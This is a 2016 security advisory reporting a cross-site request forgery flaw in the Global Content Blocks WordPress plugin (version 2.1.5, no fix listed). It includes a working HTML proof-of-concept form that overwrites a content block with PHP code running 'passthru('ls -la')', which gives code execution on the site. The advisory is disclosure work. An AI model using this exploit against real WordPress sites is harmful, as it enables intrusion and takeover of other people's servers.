Advisory

Yorick Koster, July 2016

Cross-Site Request Forgery in Global Content Blocks WordPress Plugin

Abstract

It was discovered that the Global Content Blocks WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to update a content block to overwrite it with arbitrary PHP code. Visiting a page or blog post that uses this content block will cause the attacker's PHP code to be executed.

OVE ID

OVE-20160712-0031

Tested versions

This issue was successfully tested on Global Content Blocks WordPress Plugin version 2.1.5.

Fix

There is currently no fix available.

Introduction

The Global Content Blocks WordPress Plugin lets users create their own shortcodes to insert reusable code snippets, PHP or HTML including forms, opt-in boxes, iframes, Adsense code, etc, into pages and posts as well as widgets and directly into php content. Global Content Blocks is affected by Cross-Site Request Forgery. Amongst others, this issue can be used to update a content block to overwrite it with arbitrary PHP code. Visiting a page or blog post that uses this content block will cause the attacker's PHP code to be executed.

Details

The issue exists due to the fact that Global Content Blocks does not use the Cross-Site Request Forgery protection provided by WordPress. Actions with Global Content Blocks have a predictable format, thus an attacker can forge a request that can be executed by a logged in Administrator. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website.

Proof of concept

The following proof of concept will update/overwrite the content block with id 1. In order to run the attacker's PHP code, a page/blog needs to be viewed that contains this content block (eg, [contentblock id=1]).

<html>
   <body>
      <form action="http://<target>/wp-admin/options-general.php?page=global-content-blocks" method="POST">
         <input type="hidden" name="gcb_view" value="update" />
         <input type="hidden" name="update_it" value="1" />
         <input type="hidden" name="gcb_name" value="Foo" />
         <input type="hidden" name="gcb_custom_id" value="" />
         <input type="hidden" name="gcb_type" value="php" />
         <input type="hidden" name="gcb_description" value="" />
         <input type="hidden" name="gcbvalue" value="passthru('ls -la');" />
         <input type="hidden" name="gcb_updateshortcode" value="Update" />
         <input type="submit" value="Submit request" />
      </form>
   </body>
</html>

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